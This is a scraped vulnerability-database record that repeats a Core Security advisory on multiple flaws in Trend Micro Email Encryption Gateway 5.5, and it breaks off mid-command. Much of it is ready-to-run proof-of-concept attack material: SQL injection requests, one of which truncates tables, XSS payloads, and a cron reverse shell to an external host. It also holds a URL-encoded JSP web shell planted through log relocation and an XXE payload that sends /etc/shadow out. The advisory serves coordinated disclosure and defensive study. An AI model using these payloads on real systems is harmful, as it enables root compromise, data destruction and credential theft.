address\r\n\"<script>alert(1)</script>\":\r\n \r\n/-----\r\nPOST /editPolicy.jsp HTTP/1.1\r\nHost: [server]\r\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)\r\nGecko/20100101 Firefox/53.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nReferer: https://[server]/policies.jsp\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 136\r\nCookie: JSESSIONID=7D25474429E52C823C63357255A5E781\r\nDNT: 1\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n \r\naction=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1\r\n-----/\r\n \r\nThe input will be stored unescaped and rendered every time the policies.do\r\nscript is executed.\r\n \r\nExcerpt of the policies.do source showing the injected script tag:\r\n \r\n/-----\r\n<tr>\r\n<td ondblclick=\"edit_policy(this);\" style=\"border:solid 1px\r\n#AAAAAA;background-color:#F5F5F5;cursor:move;\"\r\n onmousedown=\"mouse_down(this, event);\" onmouseup=\"mouse_up(this);\"\r\nonmouseout=\"mouse_out(this);\"\r\n onmousemove=\"mouse_move(this, event);\">Don't decrypt messages to\r\n<script>alert(1)</script>\r\n-----/\r\n \r\n7.11. *SQL injection in policies.jsp*\r\n \r\n[CVE-2018-6228]\r\nThe hidEditId parameter of the policies.jsp script is not sanitized,\r\nleading to SQL injection.\r\n \r\nAs can be seen in the following excerpt, the script reads a parameter\r\nnamed hidEditId and forwards it to the editPolicy.jsp script if it is\r\nnot set to -1.\r\n \r\nFrom webapps/ROOT/policies.jsp:\r\n \r\n/-----\r\n<% if (request.getParameter(\"hidEditId\") != null)\r\n if (request.getParameter(\"hidEditId\").compareTo(\"-1\") != 0)\r\n {\r\n String hid_edit_id = request.getParameter(\"hidEditId\");\r\n %><jsp:forward page=\"editPolicy.jsp\"><jsp:param name=\"editRuleId\"\r\nvalue=\"<%= hid_edit_id %>\"/></jsp:forward><%\r\n }\r\n[...]\r\n-----/\r\n \r\nThe editPolicy.jsp script will pass this parameter without any\r\nmodification to the loadRuleDetails method, which is defined in the\r\nformEditPolicy class\r\n \r\nFrom webapps/ROOT/editPolicy.jsp:\r\n \r\n/-----\r\nif (request.getParameter(\"editRuleId\") != null)\r\nfrm.loadRuleDetails(request.getParameter(\"editRuleId\"));\r\n[...]\r\n-----/\r\n \r\nFinally, the loadRuleDetails method will use the unsanitized parameter\r\nit receives to build a dynamic SQL statement as follows:\r\n \r\nFrom webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:\r\n \r\n/-----\r\npublic boolean loadRuleDetails(String ruleId)\r\n{\r\n _databaseError = false;\r\n \r\n \r\n try\r\n {\r\n _ruleId = ruleId;\r\n _ruleResultId = dataStore.getRuleResultId(ruleId);\r\n _ruleForId = dataStore.getRuleForId(ruleId);\r\n _ruleEmails = dataStore.getRuleAddreses(ruleId);\r\n _ruleSubRules = dataStore.getSubRules(ruleId);\r\n [...]\r\n \r\npublic String getRuleResultId(String ruleId) throws SQLException\r\n{\r\n Connection cnn = MySQLClient.GetInstance().GetConnection();\r\n Statement query = cnn.createStatement();\r\n String ruleResultId = \"\";\r\n \r\n ResultSet rs = null;\r\n \r\n try\r\n {\r\n rs = query.executeQuery(\"SELECT RuleResultId FROM RulesEngine\r\nWHERE Id = \" + ruleId);\r\n [...]\r\n-----/\r\n \r\nThe contents of ruleId will be appended to the SELECT query, resulting\r\nin a SQL injection.\r\n \r\nThe following PoC opens a policy to edit, even though the hidEditId\r\nparameter is invalid. Due to the \"always true\" comparison, the first\r\nelement is retrieved:\r\n \r\n/-----\r\nPOST /policies.jsp HTTP/1.1\r\nHost: server\r\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)\r\nGecko/20100101 Firefox/53.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 84\r\nReferer: https://server/editPolicy.jsp\r\nCookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n \r\naction=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201\r\n-----/\r\n \r\n7.12. *SQL injection in editPolicy.jsp*\r\n \r\n[CVE-2018-6229]\r\nThe hidRuleId parameter of the editPolicy.jsp script is not sanitized,\r\nleading to SQL injection in a DELETE statement.\r\n \r\nThe following excerpt shows that the request object is forwarded to the\r\nDeletePolicy method implemented in the formEditPolicy class.\r\n \r\nFrom webapps/ROOT/editPolicy.jsp:\r\n \r\n/-----\r\n<% if (frm.isPostBack())\r\n{\r\n if (request.getParameter(\"hidDelete\").compareTo(\"YES\") == 0)\r\n {\r\n frm.DeletePolicy(request);\r\n }\r\n[...]\r\n-----/\r\n \r\nDeletePolicy reads the hidRuleId parameter and calls deletePolicy with\r\nit, without doing any sanitization.\r\n \r\nFrom webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:\r\n \r\n/-----\r\npublic boolean DeletePolicy(HttpServletRequest request)\r\n{\r\n String ruleId = request.getParameter(\"hidRuleId\");\r\n boolean success = dataStore.deletePolicy(ruleId);\r\n _databaseError = (!success);\r\n \r\n return success;\r\n}\r\n-----/\r\n \r\nFinally, the JPostgresDataHelper class uses the ruleId parameter to\r\nbuild dynamic SQL statements, as can be seen in the following extract.\r\n \r\nFrom webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper:\r\n \r\n/-----\r\npublic boolean deletePolicy(String ruleId)\r\n{\r\n Connection cnn = null;\r\n Statement query = null;\r\n \r\n boolean bSuccess = true;\r\n \r\n try\r\n {\r\n cnn = MySQLClient.GetInstance().GetConnection();\r\n cnn.setAutoCommit(false);\r\n query = cnn.createStatement();\r\n \r\n query.executeUpdate(\"DELETE FROM RulesEmailIndex WHERE\r\nRulesEngineId = \" + ruleId);\r\n query.executeUpdate(\"DELETE FROM SubRuleIndex WHERE RulesEngineId\r\n= \" + ruleId);\r\n query.executeUpdate(\"DELETE FROM RulesEngine WHERE Id = \" + ruleId);\r\n [...]\r\n-----/\r\n \r\nThe ruleId parameter will be appended as-is to the DELETE statements,\r\nresulting in a SQL injection.\r\n \r\nThe following request will cause the RulesEmailIndex, SubRuleIndex, and\r\nRulesEngine tables to be truncated:\r\n \r\n/-----\r\nPOST /editPolicy.jsp HTTP/1.1\r\nHost: [server]\r\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)\r\nGecko/20100101 Firefox/53.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nReferer: https://[server]/policies.jsp\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 133\r\nCookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n \r\naction=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1\r\n-----/\r\n \r\n \r\n7.13. *SQL Injection in emailSearch.jsp*\r\n \r\n[CVE-2018-6230]\r\nThe SearchString parameter of the emailSearch.jsp script is not\r\nsanitized, leading to a SQL injection.\r\n \r\nAs can be seen in the following excerpt, the emailSearch.jsp script\r\nreads a parameter named SearchString and calls the getResults method\r\ndefined in the wsEmailSearch class.\r\n \r\nFrom webapps/ROOT/emailSearch.jsp:\r\n \r\n/-----\r\nif (session.getAttribute(\"UserName\") != null)\r\n{\r\n response.setContentType(\"text/xml\");\r\n ws.setSearchParam(request.getParameter(\"SearchString\"));\r\n java.util.Vector res = ws.getResults();\r\n [...]\r\n-----/\r\n \r\nThe searchParam property is not sanitized before being used to build a\r\ndynamic SQL query, resulting in a SQL injection in the SELECT statement.\r\n \r\nFrom webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch:\r\n \r\n/-----\r\npublic class wsEmailSearch\r\n{\r\n private String _searchParam = \"\";\r\n public void setSearchParam(String searchParam) { _searchParam =\r\nsearchParam; }\r\n \r\n public Vector getResults()\r\n {\r\n Vector res = new Vector();\r\n \r\n Connection cnn = MySQLClient.GetInstance().GetConnection();\r\n try\r\n {\r\n Statement query = cnn.createStatement();\r\n \r\n ResultSet rs = query.executeQuery(\"SELECT address FROM\r\nRulesEmailAddresses WHERE address LIKE '%\" + _searchParam + \"%' ORDER BY\r\naddress\");\r\n[...]\r\n-----/\r\n \r\nThe following proof of concept will cause all the e-mails on the\r\ndatabase to be retrieved:\r\n \r\n/-----\r\nPOST /emailSearch.jsp HTTP/1.1\r\nHost: server\r\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)\r\nGecko/20100101 Firefox/53.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.5\r\nContent-Type: application/x-www-form-urlencoded\r\nReferer: https://server/policies.jsp\r\nContent-Length: 39\r\nCookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2\r\nConnection: close\r\n \r\nSearchString=' OR '%1%'='%1\r\n-----/\n\n# 0day.today [2018-03-06] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/29874"}], "exploitdb": [{"lastseen": "2018-02-22T19:20:32", "bulletinFamily": "exploit", "description": "Trend Micro Email Encryption Gateway 5.5 (Build 1111.00) - Multiple Vulnerabilities. CVE-2018-6219,CVE-2018-6220,CVE-2018-6221,CVE-2018-6222,CVE-2018-6223,CV...", "modified": "2018-02-22T00:00:00", "published": "2018-02-22T00:00:00", "id": "EDB-ID:44166", "href": "https://www.exploit-db.com/exploits/44166/", "type": "exploitdb", "title": "Trend Micro Email Encryption Gateway 5.5 (Build 1111.00) - Multiple Vulnerabilities", "sourceData": "Core Security - Corelabs Advisory\r\nhttp://corelabs.coresecurity.com/\r\n\r\nTrend Micro Email Encryption Gateway Multiple Vulnerabilities\r\n\r\n1. *Advisory Information*\r\n\r\nTitle: Trend Micro Email Encryption Gateway Multiple Vulnerabilities\r\nAdvisory ID: CORE-2017-0006\r\nAdvisory URL:\r\nhttp://www.coresecurity.com/advisories/trend-micro-email-encryption-gateway-multiple-vulnerabilities\r\nDate published: 2018-02-21\r\nDate of last update: 2018-02-21\r\nVendors contacted: Trend Micro\r\nRelease mode: Coordinated release\r\n\r\n2. *Vulnerability Information*\r\n\r\nClass: Cleartext Transmission of Sensitive Information [CWE-319],\r\nExternal Control of File Name or Path [CWE-73], Insufficient\r\nVerification of Data Authenticity [CWE-345], External Control of File\r\nName or Path [CWE-73], Missing Authentication for Critical Function\r\n[CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of\r\nXML External Entity Reference [CWE-611], Improper Neutralization of\r\nInput During Web Page Generation ('Cross-site Scripting') [CWE-79],\r\nImproper Neutralization of Input During Web Page Generation ('Cross-site\r\nScripting') [CWE-79], Improper Neutralization of Input During Web Page\r\nGeneration ('Cross-site Scripting') [CWE-79], Improper Neutralization of\r\nSpecial Elements used in an SQL Command [CWE-89], Improper\r\nNeutralization of Special Elements used in an SQL Command [CWE-89],\r\nImproper Neutralization of Special Elements used in an SQL Command\r\n[CWE-89]\r\nImpact: Code execution\r\nRemotely Exploitable: Yes\r\nLocally Exploitable: Yes\r\nCVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222,\r\nCVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226,\r\nCVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230\r\n\r\n3. *Vulnerability Description*\r\n\r\nTrend Micro's website states that:[1]\r\n \r\nEncryption for Email Gateway is a Linux-based software solution providing\r\nthe ability to perform the encryption and decryption of email at the\r\ncorporate gateway, regardless of the email client, and the platform from\r\nwhich it originated. The encryption and decryption of email on the TMEEG\r\nclient is controlled by a Policy Manager that enables an administrator\r\nto configure policies based on various parameters, such as sender and\r\nrecipient email addresses, keywords, or PCI compliance. Encryption for\r\nEmail Gateway presents itself as an SMTP interface and delivers email\r\nout over an SMTP to configured outbound MTAs. This enables easy\r\nintegration with other email server-based products, be them content\r\nscanners, mail servers, or archiving solutions.\"\r\n \r\nMultiple vulnerabilities were found in the Trend Micro Email Encryption\r\nGateway web console that would allow a remote unauthenticated attacker\r\nto gain command execution as root.\r\n\r\nWe also present two additional vectors to achieve code execution from a\r\nman-in-the-middle position.\r\n \r\n4. *Vulnerable Packages*\r\n\r\n. Trend Micro Email Encryption Gateway 5.5 (Build 1111.00)\r\nOther products and versions might be affected, but they were not tested.\r\n\r\n5. *Vendor Information, Solutions and Workarounds*\r\n\r\nTrend Micro published the following Security Notes:\r\n\r\n.\r\nhttps://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities\r\n\r\n6. *Credits*\r\n\r\nThese vulnerabilities were discovered and researched by Leandro Barragan\r\nand Maximiliano Vidal from Core Security Consulting Services. The\r\npublication of this advisory was coordinated by Alberto Solino from Core\r\nAdvisories Team.\r\n \r\n7. *Technical Description / Proof of Concept Code*\r\n\r\nTrend Micro Email Encryption Gateway includes a web console to perform\r\nadministrative tasks. Section 7.4 describes a vulnerability in this\r\nconsole that can be exploited to gain command execution as root. The\r\nvulnerable functionality is accessible only to authenticated users, but\r\nit is possible to combine 7.4 with the vulnerability presented in\r\nsection 7.5 to bypass this restriction and therefore execute root\r\ncommands from the perspective of a remote unauthenticated attacker.\r\n \r\nThe application does also use an insecure update mechanism that allows\r\nan attacker in a man-in-the-middle position to write arbitrary files and\r\ninstall arbitrary RPM packages, leading to remote command execution as\r\nthe root user.\r\n \r\nAdditional Web application vulnerabilities were found, including\r\ncross-site request forgery (7.6), XML external entity injection (7.7),\r\nseveral cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL\r\ninjection vulnerabilities (7.11, 7.12, 7.13).\r\n \r\n7.1. *Insecure update via HTTP*\r\n\r\n[CVE-2018-6219]\r\nCommunication to the update servers is unencrypted. The following URL is\r\nfetched when the application checks for updates:\r\n \r\n/-----\r\n[Request #1]\r\n http://downloads.privatepost.com/files/TMEEG/updates/data.html\r\n-----/\r\n\r\nThe product expects to retrieve a plain-text file with the following\r\nformat:\r\n\r\n/-----\r\n[Version Info]\r\n[Installation RPM file name]\r\n[Path to release notes]\r\n-----/\r\n\r\nIf a new update is found, then the RPM file is downloaded from the\r\nfollowing URL:\r\n\r\n/-----\r\n[Request #2]\r\nhttp://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM\r\nfile name]\r\n-----/\r\n\r\nThis means that the product does not do any kind of certificate\r\nvalidation or public key pinning, which makes it easier for an attacker\r\nto eavesdrop and tamper the data.\r\n\r\n7.2. *Arbitrary file write leading to command execution*\r\n\r\n[CVE-2018-6220]\r\nThe following code snippet is responsible for downloading the update\r\nfile (com/identum/pmg/web/CheckForUpdates.java):\r\n \r\n/-----\r\nFileDownload fd = new FileDownload();\r\nif (!fd.download(updateURLRoot + \"/\" + rpmFileName, \"/tmp/\" +\r\nrpmFileName)) {\r\n return 10;\r\n}\r\n[...]\r\n-----/\r\n\r\nThe rpmFileName variable is controlled by the attacker, as it is taken\r\nfrom the aforementioned update file. As a consequence, the attacker\r\ncontrols the path where the update file is going to be downloaded. The\r\nRPM file is written by the root user with 0644 permissions. Being able\r\nto write to the file system as root opens the door to several code\r\nexecution vectors on Linux machines.\r\n\r\nIn this PoC we present one vector which consist on creating a cron job\r\non /etc/cron.d directory.\r\n \r\nThe attacker can send the following response to [Request #1]:\r\n\r\n/-----\r\nHTTP/1.1 200 OK\r\nContent-Type: text/html\r\nServer: Microsoft-IIS/7.5\r\nX-Powered-By: ASP.NET\r\nDate: Tue, 23 May 2017 14:39:46 GMT\r\nConnection: close\r\nContent-Length: 26\r\n\r\n5.7\r\n../../../../../../../etc/cron.d/test\r\ntest.html\r\n-----/\r\n\r\nAs a result, the server will create the file /etc/cron.d/test. Its\r\ncontents are also controlled by the attacker. When the update launches,\r\nthe appliance will download it from the following URL:\r\n\r\n/-----\r\nhttp://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test\r\n-----/\r\n\r\nThe attacker can tamper the server's response and inject arbitrary data,\r\nsuch as a reverse shell payload:\r\n \r\n/-----\r\n* * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1\r\n-----/\r\n\r\ngaining code execution upon exploitation:\r\n\r\n/-----\r\n$ sudo nc -lvvp 1080\r\nListening on [0.0.0.0] (family 0, port 1080)\r\nConnection from [server] port 1080 [tcp/socks] accepted (family 2, sport\r\n52171)\r\nbash: no job control in this shell\r\n[root@ localhost ~]# id\r\nuid=0(root) gid=0(root)\r\ngroups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)\r\ncontext=user_u:system_r:unconfined_t\r\n-----/\r\n\r\n7.3. *Unvalidated software updates*\r\n\r\n[CVE-2018-6221]\r\nThe update mechanism described in 7.2 does not validate the RPM file\r\ndownloaded.\r\n\r\nAn attacker in a man-in-the-middle position could tamper with the RPM\r\nfile and inject its own.\r\n\r\nThe following code snippet is responsible for installing the unvalidated\r\nRPM (com/identum/pmg/web/CheckForUpdates.java):\r\n\r\n/-----\r\ntry\r\n {\r\n System.out.println(\"running file:\");\r\n System.out.println(\"rpm --upgrade --nodeps /tmp/\" + rpmFileName);\r\n\r\n Process process = Runtime.getRuntime().exec(\"rpm --upgrade\r\n--nodeps /tmp/\" + rpmFileName);\r\n [..]\r\n {\r\n-----/\r\n\r\nIn the following Proof of Concept, we crafted a malicious RPM file that\r\nexecutes a reverse shell once opened. This can be achieved by adding a\r\nreverse shell script to %pre section of RPM's SPEC file, which is\r\nexecuted previous to any installation step. As can be seen, this results\r\nin code execution as root:\r\n\r\n/-----\r\n$ sudo nc -lvvp 1080\r\nListening on [0.0.0.0] (family 0, port 1080)\r\nConnection from [server] port 1080 [tcp/socks] accepted (family 2, sport\r\n40445)\r\nbash: no job control in this shell\r\n[root@ localhost /]# id\r\nuid=0(root) gid=0(root)\r\ngroups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)\r\ncontext=root:system_r:rpm_script_t:SystemLow-SystemHigh\r\n-----/\r\n\r\n7.4. *Arbitrary logs location leading to command execution*\r\n\r\n[CVE-2018-6222]\r\nThe location of the log files can be changed in the logConfiguration.do\r\npage. MimeBuildServer logs are particularly interesting because its\r\ncontents can be controlled by an attacker.\r\n\r\nThe first step is to point the log file to the Web application root. The\r\nfollowing request redirects MimeBuildServer logs to\r\n/opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs:\r\n\r\n/-----\r\nPOST /logConfiguration.jsp HTTP/1.1\r\nHost: [server]\r\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)\r\nGecko/20100101 Firefox/53.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nReferer: https://[server]/logConfiguration.do\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 798\r\nCookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B\r\nDNT: 1\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\nclient0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback\r\n-----/\r\n\r\nThe second step is to update the MimeBuilder configuration and insert\r\narbitrary JSP code. One candidate is the \"Encrypted meeting request\r\nemail message\" form.\r\n\r\n/-----\r\nPOST /mimebuilderconfig.jsp HTTP/1.1\r\nHost: [server]\r\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)\r\nGecko/20100101 Firefox/53.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nReferer: https://[server]/MimeBuilderConfig.do\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 2915\r\nCookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B\r\nDNT: 1\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\naddEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback\r\n-----/\r\n\r\nThe next time the service components are restarted, the log file will be\r\ncreated with the desired JSP code.\r\n\r\nWith the sample JSP code from the previous request, the attacker would\r\nthen navigate to pepito.jsp and execute arbitrary commands as root:\r\n\r\n/-----\r\nhttps://[server]/pepito.jsp?cmd=id\r\n\r\nCommand: id\r\n\r\nuid=0(root) gid=0(root) context=system_u:system_r:java_t\r\n-----/\r\n\r\n7.5. *Missing authentication for appliance registration*\r\n\r\n[CVE-2018-6223]\r\nThe registration endpoint is provided for system administrators to\r\nconfigure the virtual appliance upon deployment. However, this endpoint\r\nremains accessible without authentication even after the appliance is\r\nconfigured, which would allow attackers to set configuration parameters\r\nsuch as the administrator username and password.\r\n \r\nThe following request changes the administrator password to \"sombrero\":\r\n\r\n/-----\r\nPOST /register.jsp HTTP/1.1\r\nHost: [server]\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 414\r\n\r\naction=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain®Email=pentester1@coresecurity.com&contactName=Test+Test&contactEmail=pentester1@coresecurity.com&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero\r\n-----/\r\n\r\nNote that a valid activation code is required. This code can be easily\r\nobtained by requesting a trial from Trend Micro's website.\r\n\r\n7.6. *Lack of cross-site request forgery protection*\r\n\r\n[CVE-2018-6224]\r\nThere are no Anti-CSRF tokens in any forms on the Web interface. This\r\nwould allow an attacker to submit authenticated requests when an\r\nauthenticated user browses an attacker-controlled domain.\r\n\r\nThis vulnerability can be chained with 7.4 and lead to remote command\r\nexecution. It could also be abused to force updates once the attacker is\r\nin a man-in-the-middle position to exploit 7.2 or 7.3, which would also\r\nlead to remote command execution.\r\n\r\nThe following proof of concept starts the check for updates process.\r\n\r\n/-----\r\n<html>\r\n <body>\r\n <script>history.pushState('', '', '/')</script>\r\n <form action=\"https://[server]/checkForUpdates.do\">\r\n <input type=\"submit\" value=\"Submit request\" />\r\n </form>\r\n </body>\r\n</html>\r\n-----/\r\n\r\n7.7. *XML external entity injection in configuration.jsp*\r\n\r\n[CVE-2018-6225]\r\nThe pciExceptionXml parameter of the configuration.jsp script is\r\nvulnerable to XML external entity injection.\r\n\r\nThe following proof of concept uses external entities to send the\r\n/etc/shadow file to an external server.\r\n\r\n/-----\r\nPOST /configuration.jsp HTTP/1.1\r\nHost: [server]\r\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)\r\nGecko/20100101 Firefox/53.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 938\r\nCookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\n \r\nincomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d\"1.0\"+encoding%3d\"utf-8\"%3f>\r\n<!DOCTYPE+roottag+[\r\n+<ENTITY+%25+file+SYSTEM+\"file%3a///etc/shadow\">\r\n+<!ENTITY+%25+dtd+SYSTEM+\"http%3a//external_server/combine.dtd\">\r\n%25dtd%3b]>\r\n<ci_exceptions><pci_exception+enabled%3d\"true\"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]></end></pci_exception><pci_exception+enabled%3d\"true\"><start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d\"true\"><start><head/></start></pci_exception></pci_exceptions>\r\n-----/\r\n\r\nThe combine.dtd file is hosted on an external server, and its contents\r\nare:\r\n\r\n/-----\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<!ENTITY % all \"<!ENTITY send SYSTEM\r\n'gopher://external_server:1080/?%file;'>\">\r\n%all;\r\n\r\n$ sudo nc -lvvp 